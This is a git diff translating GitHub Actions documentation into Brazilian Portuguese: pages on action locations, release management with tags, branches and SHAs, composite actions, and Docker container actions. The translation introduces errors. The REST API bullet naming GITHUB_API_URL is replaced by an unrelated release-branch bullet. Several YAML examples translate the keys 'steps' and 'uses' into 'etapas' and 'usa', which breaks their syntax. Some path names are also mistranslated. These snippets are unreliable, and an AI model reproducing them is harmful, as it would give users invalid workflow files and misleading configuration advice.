+Uma ação _composta_ permite que você combine várias etapas do fluxo de trabalho em uma ação. Por exemplo, você pode usar esse recurso para juntar vários comandos executando em uma ação e, em seguida, ter um fluxo de trabalho que executa os comandos empacotados como uma única etapa usando essa ação. Para ver um exemplo, confira "[Criar uma ação composta](/actions/creating-actions/creating-a-composite-action)".
 
-## Choosing a location for your action
+## Definir o local da ação
 
-If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software.
+Se você estiver desenvolvendo uma ação a ser usada por outras pessoas, recomendamos manter a ação no próprio repositório em vez de criar um pacote dela com outro código de aplicativo. Assim, você poderá controlar as versões e monitorar a ação como qualquer outro software.
 
 {% ifversion fpt or ghec %}
-Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code.
+Ao armazenar uma ação no seu próprio repositório, fica mais fácil para a comunidade do {% data variables.product.prodname_dotcom %} descobrir a ação. Além disso, você restringe o escopo da base de código para os desenvolvedores corrigirem problemas e desenvolverem a ação, bem como separa o controle de versões da ação e o controle de versões de outros códigos de aplicativo.
 {% endif %}
 
-{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to the public, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`.
+{% ifversion fpt or ghec %}Se você estiver criando uma ação que não planeja disponibilizar ao público, você {% else %} Você{% endif %} pode armazenar os arquivos de ação em qualquer local do seu repositório. Se você planeja combinar ação, fluxo de trabalho e aplicativo em um só repositório, recomendamos armazenar as ações no diretório `.github`. Por exemplo, `.github/actions/action-a` e `.github/actions/action-b`.
 
-## Compatibility with {% data variables.product.prodname_ghe_server %}
+## Compatibilidade com {% data variables.product.prodname_ghe_server %}
 
-To ensure that your action is compatible with {% data variables.product.prodname_ghe_server %}, you should make sure that you do not use any hard-coded references to {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API URLs. You should instead use environment variables to refer to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API:
+Para garantir que sua ação seja compatível com {% data variables.product.prodname_ghe_server %}, você deve certificar-se de que não usa nenhuma referência codificada para {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} as URLs da API. Você deve usar variáveis de ambiente para referir-se à API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}:
 
-- For the REST API, use the `GITHUB_API_URL` environment variable.
-- For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable.
+- Crie e valide uma versão em um branch da versão (como a `versão/v1`) antes de criar a tag da versão (por exemplo, `v1.0.2`).
+- Para GraphQL, use a variável ambiente `GITHUB_GRAPHQL_URL` .
 
-For more information, see "[Default environment variables](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)."
+Para obter mais informações, consulte "[Variáveis de ambiente padrão](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)".
 
-## Using release management for actions
+## Usar o gerenciamento da versão para ações
 
-This section explains how you can use release management to distribute updates to your actions in a predictable way.
+Esta seção explica como você pode usar o gerenciamento de versões para distribuir atualizações nas suas ações de forma previsível.
 
-### Good practices for release management
+### Práticas recomendadas para gerenciamento de versões
 
-If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's major version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility.
+Se você estiver desenvolvendo uma ação para outras pessoas usarem, recomendamos que você use o gerenciamento de versão para controlar como você distribui as atualizações. Os usuários podem esperar que a versão principal de uma ação inclua as correções críticas necessárias e os pachtes ao mesmo tempo em que permanece compatível com seus fluxos de trabalho existentes. Você deve considerar lançar uma nova versão principal sempre que as suas alterações afetarem a compatibilidade.
 
-Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues.
+Nessa abordagem de gerenciamento de versão, os usuários não devem fazer referência ao branch-padrão da ação, uma vez que é provável que contenha o último código e, consequentemente, pode ser instável. Em vez disso, você pode recomendar que os usuários especifiquem uma versão principal ao usar a sua ação e direcioná-los para uma versão mais específica somente se encontrarem problemas.
 
-To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release.
+Para usar uma versão de ação específica, os usuários podem configurar seu fluxo de trabalho{% data variables.product.prodname_actions %} para atingir uma tag, um SHA do commit ou um branch nomeado para uma versão.
 
-### Using tags for release management
+### Usar tags para o gerenciamento de versão
 
-We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions:
+Recomendamos o uso de tags para gerenciamento da versão de ações. Ao usar essa abordagem, os seus usuários poderão distinguir facilmente as versões principais e não principais:
 
-- Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`).
-- Create a release using semantic versioning. For more information, see "[Creating releases](/articles/creating-releases)."
-- Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see "[Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)."
-- Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change.
-- Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready.
+- Crie e valide uma versão em um branch da versão (como a `versão/v1`) antes de criar a tag da versão (por exemplo, `v1.0.2`).
+- Criar uma versão usando uma versão semântica. Para obter mais informações, consulte "[Criar versões](/articles/creating-releases)".
+- Mova a tag da versão principal (como `v1`, `v2`) para apontar para o ref do Git da versão atual. Para obter mais informações, consulte "[Fundamentos do Git - tags](https://git-scm.com/book/en/v2/Git-Basics-Tagging)".
+- Introduza uma nova tag da versão principal (`v2`) para alterações que quebrarão os fluxos de trabalho existentes. Por exemplo, mudar as entradas de uma ação seria uma alteração relevante.
+- As versões principais podem ser lançadas inicialmente com uma tag `beta` para indicar seu status, como, por exemplo, `v2-beta`. Em seguida, a tag `-beta` poderá ser removida quando estiver pronta.
 
-This example demonstrates how a user can reference a major release tag:
+Este exemplo demonstra como um usuário pode fazer referência a uma tag da versão principal:
 
 ```yaml
-steps:
-    - uses: actions/javascript-action@v1
+etapas:
+    - usa: actions/javascript-action@v1
 ```
 
-This example demonstrates how a user can reference a specific patch release tag:
+Este exemplo demonstra como um usuário pode fazer referência a uma tag da versão do patch:
 
 ```yaml
-steps:
-    - uses: actions/javascript-action@v1.0.1
+etapas:
+    - usa: actions/javascript-action@v1.0.1
 ```
 
-### Using branches for release management
+### Usar branches para gerenciamento de versão
 
-If you prefer to use branch names for release management, this example demonstrates how to reference a named branch:
+Se você preferir usar nomes de branch para gerenciamento de versão, este exemplo irá demonstrar como fazer referência a um branch nomeado:
 
 ```yaml
-steps:
-    - uses: actions/javascript-action@v1-beta
+etapas:
+    - usa: actions/javascript-action@v1-beta
 ```
 
-### Using a commit's SHA for release management
+### Usar um SHA do commit para o gerenciamento de versão
 
-Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value.{% else %}Using a commit's full SHA value instead of the abbreviated value can help prevent people from using a malicious commit that uses the same abbreviation.{% endif %}
+Cada commit do Git recebe um valor SHA calculado, que é único e imutável. Os usuários da sua ação podem preferir depender de um valor SHA do commit, uma vez que esta abordagem pode ser mais confiável do que especificar uma tag, que pode ser excluída ou movida. No entanto, isso significa que os usuários não receberão mais atualizações realizadas na ação. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Você deve usar o valor completo do SHA de um commit e não um valor abreviado.{% else %}Usar o valor SHA completo de um commit em vez do valor abreviado pode ajudar a impedir que as pessoas usem um commit malicioso que usa a mesma abreviação.{% endif %}
 
 ```yaml
-steps:
-    - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
+etapas:
+    - usa: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-## Creating a README file for your action
+## Criar um arquivo README para a ação
 
-We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`:
+Se você planeja compartilhar sua ação publicamente, é recomendável criar um arquivo LEIAME para ajudar as pessoas a saberem como usar a ação. Você pode incluir as informações abaixo no seu `LEIAME.md`:
 
-- A detailed description of what the action does
-- Required input and output arguments
-- Optional input and output arguments
-- Secrets the action uses
-- Environment variables the action uses
-- An example of how to use your action in a workflow
+- Descrição detalhada do que a ação faz;
+- Argumentos obrigatórios de entrada e saída;
+- Argumentos opcionais de entrada e saída;
+- Segredos usados pela ação;
+- Variáveis de ambiente usadas pela ação;
+- Um exemplo de uso da ação no fluxo de trabalho.
 
-## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %}
+## Comparando {% data variables.product.prodname_actions %} com {% data variables.product.prodname_github_apps %}
 
-{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see "[About apps](/apps/about-apps/)."
+{% data variables.product.prodname_marketplace %} oferece ferramentas para melhorar o seu fluxo de trabalho. Entender as diferenças e os benefícios de cada ferramenta ajudará você a selecionar a melhor ferramenta para o seu trabalho. Para obter mais informações sobre a criação de aplicativos, consulte "[Sobre aplicativos](/apps/about-apps/)".
 
-### Strengths of GitHub Actions and GitHub Apps
+### Vantagens do GitHub Actions e dos aplicativos GitHub
 
-While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways.
+Embora {% data variables.product.prodname_actions %} e {% data variables.product.prodname_github_apps %} forneçam maneiras de criar automação e ferramentas de fluxo de trabalho, cada um tem pontos fortes que os tornam úteis de maneiras diferentes.
 
 {% data variables.product.prodname_github_apps %}:
-* Run persistently and can react to events quickly.
-* Work great when persistent data is needed.
-* Work best with API requests that aren't time consuming.
-* Run on a server or compute infrastructure that you provide.
+* Executa, de modo persistente, e pode reagir a eventos rapidamente.
+* Funciona bem quando são necessários dados persistentes.
+* Funciona da forma ideal quando as solicitações de API não são demoradas.
+* Executa na infraestrutura de um servidor ou computador que você fornecer.
 
 {% data variables.product.prodname_actions %}:
-* Provide automation that can perform continuous integration and continuous deployment.
-* Can run directly on runner machines or in Docker containers.
-* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code.
-* Don't require you to deploy code or serve an app.
-* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action.
+* Fornece automação que pode realizar integração contínua e implementação contínua.
+* Pode ser executado diretamente em máquinas executoras em em contêineres do Docker.
+* Pode incluir acesso a um clone do seu repositório, habilitando a implementação e as ferramentas de publicação, formatadores de código e as ferramentas da linha de comando para acessar o seu código.
+* Não requer que você implemente o código ou sirva a um aplicativo.
+* Tem uma interface simples para criar e usar segredos, que habilitam ações para interagir com serviços de terceiros sem a necessidade de armazenar as credenciais da pessoa que usa a ação.
 
-## Further reading
+## Leia mais
 
-- "[Development tools for {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)"
+- [Ferramentas de desenvolvimento para o {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)
diff --git a/translations/pt-BR/content/actions/creating-actions/creating-a-composite-action.md b/translations/pt-BR/content/actions/creating-actions/creating-a-composite-action.md
index 393112d951..3bb279c39b 100644
--- a/translations/pt-BR/content/actions/creating-actions/creating-a-composite-action.md
+++ b/translations/pt-BR/content/actions/creating-actions/creating-a-composite-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a composite action
-intro: 'In this guide, you''ll learn how to build a composite action.'
+title: Criar uma ação composta
+intro: 'Neste guia, você aprenderá a criar uma ação composta.'
 redirect_from:
   - /actions/creating-actions/creating-a-composite-run-steps-action
 versions:
@@ -11,56 +11,56 @@ versions:
 type: tutorial
 topics:
   - Action development
-shortTitle: Composite action
+shortTitle: Ação composta
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye",  or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
+Neste guia, você aprenderá os componentes básicos necessários para criar e usar uma ação composta empacotada. Para manter o foco deste guia nos componentes necessários para empacotar a ação, a funcionalidade do código da ação é mínima. A ação imprime "Hello World" e "Goodbye", ou, se você fornecer um nome personalizado, imprimirá "Hello [who-to-greet]" e "Goodbye". A ação também mapeia um número aleatório para a variável de saída `random-number` e executa um script denominado `goodbye.sh`.
 
-Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
+Ao concluir este projeto, você entenderá como criar a sua própria ação composta e testá-la em um fluxo de trabalho.
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+Antes de começar, você criará um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-1. Create a new public repository on {% data variables.product.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Crie um repositório público novo no {% data variables.product.product_location %}. Você pode escolher qualquer nome de repositório ou usar o exemplo `hello-world-composite-action`. É possível adicionar esses arquivos após push do projeto no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Criar um repositório novo](/articles/creating-a-new-repository)".
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. Clone o repositório para seu computador. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 
-1. From your terminal, change directories into your new repository.
+1. No seu terminal, mude os diretórios para seu novo repositório.
 
   ```shell
   cd hello-world-composite-action
   ```
 
-2. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh`, and add the following example code:
+2. No repositório `hello-world-composite-action`, crie um novo arquivo denominado `goodbye.sh` e adicione o seguinte código de exemplo:
 
   ```bash
   echo "Goodbye"
   ```
 
-3. From your terminal, make `goodbye.sh` executable.
+3. No seu terminal, torne `goodbye.sh` executável.
 
   ```shell
   chmod +x goodbye.sh
   ```
 
-1. From your terminal, check in your `goodbye.sh` file.
+1. No terminal, verifique no seu arquivo `goodbye.sh`.
   ```shell
   git add goodbye.sh
   git commit -m "Add goodbye script"
   git push
   ```
 
-## Creating an action metadata file
+## Criar um arquivo de metadados de ação
 
-1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
+1. No repositório `hello-world-composite-action`, crie um novo arquivo denominado `action.yml` e adicione o código de exemplo a seguir. Para obter mais informações sobre essa sintaxe, consulte "[`executa` para uma ação composta](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
 
     {% raw %}
     **action.yml**
@@ -88,13 +88,13 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
           shell: bash
     ```
     {% endraw %}
-  This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action.
+  Este arquivo define a entrada de `who-to-greet`, mapeia o número aleatório gerado para a variável de saída `random-number` e executa o script `goodbye.sh`. Também informa ao executor como executar a ação composta.
 
-  For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
+  Para obter mais informações sobre o gerenciamento de saídas, consulte "[`outputs` para uma ação composta](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions).
 
-  For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+  Para obter mais informações sobre como usar `github.action_path`, consulte "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
-1. From your terminal, check in your `action.yml` file.
+1. No seu terminal, verifique o seu arquivo `action.yml`.
 
   ```shell
   git add action.yml
@@ -102,18 +102,18 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   git push
   ```
 
-1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+1. No seu terminal, adicione uma tag. Este exemplo usa uma tag denominada `v1`. Para obter mais informações, consulte "[Sobre ações](/actions/creating-actions/about-actions#using-release-management-for-actions)".
 
   ```shell
   git tag -a -m "Description of this release" v1
   git push --follow-tags
   ```
 
-## Testing out your action in a workflow
+## Testar sua ação em um fluxo de trabalho
 
-The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
+O código de fluxo de trabalho a seguir usa a ação hello world completa que você fez em "[Criando uma ação arquivo de metadados](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
 
-Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name.
+Copie o código do fluxo de trabalho em um arquivo `.github/workflows/main.yml` em outro repositório, mas substitua `actions/hello-world-composite-action@v1` pelo repositório e pela tag que você criou. Você também pode substituir a entrada `who-to-greet` pelo seu nome.
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -135,4 +135,4 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
+No seu repositório, clique na aba **Ações** e selecione a última execução do fluxo de trabalho. A saída deve incluir: "Hello Mona the Octocat", o resultado do script "Goodbye" e um número aleatório.
diff --git a/translations/pt-BR/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/pt-BR/content/actions/creating-actions/creating-a-docker-container-action.md
index 049b7b0208..3402afdd5e 100644
--- a/translations/pt-BR/content/actions/creating-actions/creating-a-docker-container-action.md
+++ b/translations/pt-BR/content/actions/creating-actions/creating-a-docker-container-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a Docker container action
-intro: 'This guide shows you the minimal steps required to build a Docker container action. '
+title: Criar uma ação de contêiner Docker
+intro: Este guia apresenta as etapas mínimas exigidas para criar uma ação de contêiner Docker.
 redirect_from:
   - /articles/creating-a-docker-container-action
   - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action
@@ -15,64 +15,64 @@ type: tutorial
 topics:
   - Action development
   - Docker
-shortTitle: Docker container action
+shortTitle: Ação de contêiner do Docker
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+Neste guia, você aprenderá os componentes básicos necessários para criar e usar uma ação do contêiner Docker empacotado. Para manter o foco deste guia nos componentes necessários para empacotar a ação, a funcionalidade do código da ação é mínima. A ação imprime "Olá, mundo" nos registros ou "Olá, [who-to-greet]", se você fornecer um nome personalizado.
 
-Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow.
+Ao terminar esse projeto, você entenderá como criar sua própria ação de contêiner Docker e poderá testá-la em um fluxo de trabalho.
 
 {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## Pré-requisitos
 
-You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem:
+Pode ser útil ter um entendimento básico das variáveis do ambiente {% data variables.product.prodname_actions %} e do sistema de arquivo do contêiner Docker:
 
-- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
+- "[Usando variáveis de ambiente](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
 {% ifversion ghae %}
-- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
-{% else %} 
-- "[Virtual environments for {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)"
+- "[Sistema de arquivos para contêineres do Docker](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+{% else %}
+- [Ambientes virtuais para o {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners#docker-container-filesystem)
 {% endif %}
 
-Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository.
+Antes de começar, você deverá criar um repositório de {% data variables.product.prodname_dotcom %}.
 
-1. Create a new repository on {% data variables.product.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Crie um repositório novo no {% data variables.product.product_location %}. Você pode escolher qualquer nome para o repositório ou usar "hello-world-docker-action", como nesse exemplo. Para obter mais informações, consulte "[Criar um repositório novo](/articles/creating-a-new-repository)".
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. Clone o repositório para seu computador. Para obter mais informações, consulte "[Clonar um repositório](/articles/cloning-a-repository)".
 
-1. From your terminal, change directories into your new repository.
+1. No seu terminal, mude os diretórios para seu novo repositório.
 
   ```shell{:copy}
   cd hello-world-docker-action
   ```
 
-## Creating a Dockerfile
+## Criar um arquivo Docker
 
-In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)."
+Em seu novo diretório `hello-world-docker-action`, crie um arquivo `Dockerfile`. Certifique-se de que seu nome de arquivo esteja em maiúsculas corretamente (use um `D` maiúsculo mas não um `f` maiúsculo) se você tiver problemas. Para obter mais informações, consulte "[Suporte do arquivo Docker para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)".
 
-**Dockerfile**
+**arquivo Docker**
 ```Dockerfile{:copy}
-# Container image that runs your code
+# Imagem de contêiner que executa seu código
 FROM alpine:3.10
 
-# Copies your code file from your action repository to the filesystem path `/` of the container
+# Copia o arquivo de código do repositório de ação para o caminho do sistema de arquivos `/` do contêiner
 COPY entrypoint.sh /entrypoint.sh
 
-# Code file to execute when the docker container starts up (`entrypoint.sh`)
+# Arquivo de código a ser executado quando o contêiner do docker é iniciado (`entrypoint.sh`)
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-## Creating an action metadata file
+## Criar um arquivo de metadados de ação
 
-Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+Crie um novo arquivo `action.yml` no diretório `hello-world-docker-action` que você criou acima. Para obter mais informações, consulte "[Sintaxe dos metadados para {% data variables.product.prodname_actions %}}](/actions/creating-actions/metadata-syntax-for-github-actions)."
 
 {% raw %}
 **action.yml**
@@ -96,19 +96,19 @@ runs:
 ```
 {% endraw %}
 
-This metadata defines one `who-to-greet`  input and one `time` output parameter. To pass inputs to the Docker container, you must declare the input using `inputs` and pass the input in the `args` keyword.
+Esses metadados definem uma entrada `who-to-greet` e um parâmetro de saída `time`. Para introduzir as entradas no contêiner Docker, você deve declarar a entrada usando `inputs` (entradas) e introduzir a entrada na palavra-chave `args`.
 
-{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image.
+O {% data variables.product.prodname_dotcom %} criará uma imagem a partir do seu `Dockerfile` e executará os comandos em um novo contêiner usando essa imagem.
 
-## Writing the action code
+## Gravar um código de ação
 
-You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file.
+Você pode escolher qualquer imagem Docker de base e, portanto, qualquer linguagem para sua ação. O exemplo de script de shell a seguir usa a variável de entrada `who-to-greet` para imprimir "Hello [who-to-greet]" no arquivo de log.
 
-Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must use a workflow command in a specific syntax: `echo "::set-output name=<output name>::<value>"`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)."
+Na sequência, o script obtém a hora atual e a configura como uma variável de saída que pode ser usada pelas ações executadas posteriormente em um trabalho. Para que {% data variables.product.prodname_dotcom %} reconheça as variáveis de saída, você deverá usar um comando do fluxo de trabalho em uma sintaxe específica: `echo "::set-output name=<output name>::<value>"`. Para obter mais informações, consulte "[Comandos do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)".
 
-1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory.
+1. Crie um novo arquivo `entrypoint.sh` no diretório `hello-world-docker-action`.
 
-1. Add the following code to your `entrypoint.sh` file.
+1. Adicione o código a seguir ao arquivo `entrypoint.sh`.
 
   **entrypoint.sh**
   ```shell{:copy}
@@ -118,38 +118,38 @@ Next, the script gets the current time and sets it as an output variable that ac
   time=$(date)
   echo "::set-output name=time::$time"
   ```
-  If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+  Se `entrypoint.sh` for executado sem qualquer erro, o status da ação será definido como `success`. Você também pode definir explicitamente códigos de saída no código de ação para fornecer o status de uma ação. Para obter mais informações, consulte "[Definindo os códigos de saída para as ações](/actions/creating-actions/setting-exit-codes-for-actions)".
 
-1. Make your `entrypoint.sh` file executable by running the following command on your system.
+1. Torne seu arquivo executável `entrypoint.sh` executando o seguinte comando no seu sistema.
 
   ```shell{:copy}
   $ chmod +x entrypoint.sh
   ```
 
-## Creating a README
+## Criar README
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+Para que as pessoas saibam como usar sua ação, você pode criar um arquivo README. Um arquivo README é útil quando você planeja compartilhar publicamente sua ação, mas também é uma ótima maneira de lembrá-lo ou sua equipe sobre como usar a ação.
 
-In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information:
+No diretório `hello-world-docker-action`, crie um arquivo `README.md` que especifica as seguintes informações:
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- Descrição detalhada do que a ação faz;
+- Argumentos obrigatórios de entrada e saída;
+- Argumentos opcionais de entrada e saída;
+- Segredos usados pela ação;
+- Variáveis de ambiente usadas pela ação;
+- Um exemplo de uso da ação no fluxo de trabalho.
 
 **README.md**
 ```markdown{:copy}
 # Hello world docker action
 
-This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+Esta ação imprime "Hello World" ou "Hello" + o nome de uma pessoa a ser cumprimentada no log.
 
 ## Inputs
 
 ## `who-to-greet`
 
-**Required** The name of the person to greet. Default `"World"`.
+**Required** The name of the person to greet. Padrão `"World"`.
 
 ## Outputs
 
@@ -157,35 +157,35 @@ This action prints "Hello World" or "Hello" + the name of a person to greet to t
 
 The time we greeted you.
 
-## Example usage
+## Exemplo de uso
 
 uses: actions/hello-world-docker-action@v1
 with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to {% data variables.product.product_name %}
+## Faça commit, tag e push da sua ação para {% data variables.product.product_name %}
 
-From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files.
+A partir do seu terminal, faça commit dos arquivos `action.yml`, `entrypoint.sh`, `Dockerfile` e `README.md`.
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+Adicionar uma tag da versão para versões da sua ação é considerada uma prática recomendada. Para obter mais informações sobre versões da sua ação, consulte "[Sobre ações](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)".
 
 ```shell{:copy}
 git add action.yml entrypoint.sh Dockerfile README.md
-git commit -m "My first action is ready"
-git tag -a -m "My first action release" v1
+git commit -m "Minha primeira ação está pronta"
+git tag -a -m "Versão da minha primeira ação" v1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## Testar sua ação em um fluxo de trabalho
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+Agora você está pronto para testar sua ação em um fluxo de trabalho. Quando uma ação está em um repositório privado, a ação somente pode ser usada em fluxos de trabalho no mesmo repositório. Ações públicas podem ser usadas por fluxos de trabalho em qualquer repositório.
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
